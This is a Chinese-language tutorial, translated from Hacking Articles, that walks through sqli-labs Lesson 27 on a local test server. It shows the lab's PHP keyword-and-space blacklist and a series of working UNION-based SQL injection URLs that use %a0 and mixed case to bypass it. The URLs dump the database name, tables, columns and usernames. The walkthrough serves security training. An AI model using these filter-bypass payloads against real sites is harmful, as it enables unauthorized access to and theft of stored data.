如何手动绕过SQL注入过滤器?(二)

Lesson 27

本节延续上一节(传送门)。难度愈发的大了,因为这次被过滤掉的有UNION/union,SELECT/select,空格和注释。还是老方法,寻找替代品来绕过它!

function blacklist($id)

$id=preg_replace('/[\/\*]/',"",$id);              //strip out /*

$id=preg_replace('/[-]/',"",$id);                  //strip out -

$id=preg_replace('/[#]/',"",$id);                  //strip out #

$id=preg_replace('/union/s',"",$id);          //strip out union

$id=preg_replace('/select/s',"",$id);          //strip out select

$id=preg_replace('/UNION/s',"",$id);        //strip out UNION

$id=preg_replace('/SELECT/s',"",$id);        //strip out SELECT

$id=preg_replace('/Union/s',"",$id);        //strip out Union

$id=preg_replace('/Select/s',"",$id);        //strip out Select

首先打开浏览器,输入http://localhost:81/sqli/Less-27/?id=1' AND'1=1(注:具体以个人配置为准)

如何手动绕过SQL注入过滤器?(二)_第1张图片

由上图可以看出,空格被过滤掉了。

现在来看看如何绕过UNION/union,SELECT/select和空格过滤器:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,2,3%a0AND'1=1

如何手动绕过SQL注入过滤器?(二)_第2张图片

由上图可以看出,显然我们成功了。(注:此图为译者所截,原文此处有误)

如果你已经明白了上面的方法,那么接下来开始获取数据库信息:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,database(),3%a0AND'1=1

如何手动绕过SQL注入过滤器?(二)_第3张图片

由上图可以看出,数据库名为'security'。

接着来看看数据库中有哪些表:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0AND'1=1

如何手动绕过SQL注入过滤器?(二)_第4张图片

由上图可以看出,当前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接着来看看表users中有哪些列:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0AND'1=1

如何手动绕过SQL注入过滤器?(二)_第5张图片

由上图可以看出,该表包含了三列,分别是:

C1: id

C2: username

C3: password

在本节的最后,一起来看看表users中的username有哪些:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(username),3%a0from%a0users%a0where%a0'1=1

如何手动绕过SQL注入过滤器?(二)_第6张图片

由上图可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。

小结

在第二十七节,我们学习了如何绕过UNION/union,SELECT/select,空格和注释过滤器来获取数据库中的信息。

本文由 看雪翻译小组 hesir 编译,来源 Hacking Articles@Raj Chandel

如果你喜欢的话,不要忘记点个赞哦

你可能感兴趣的:(如何手动绕过SQL注入过滤器?(二))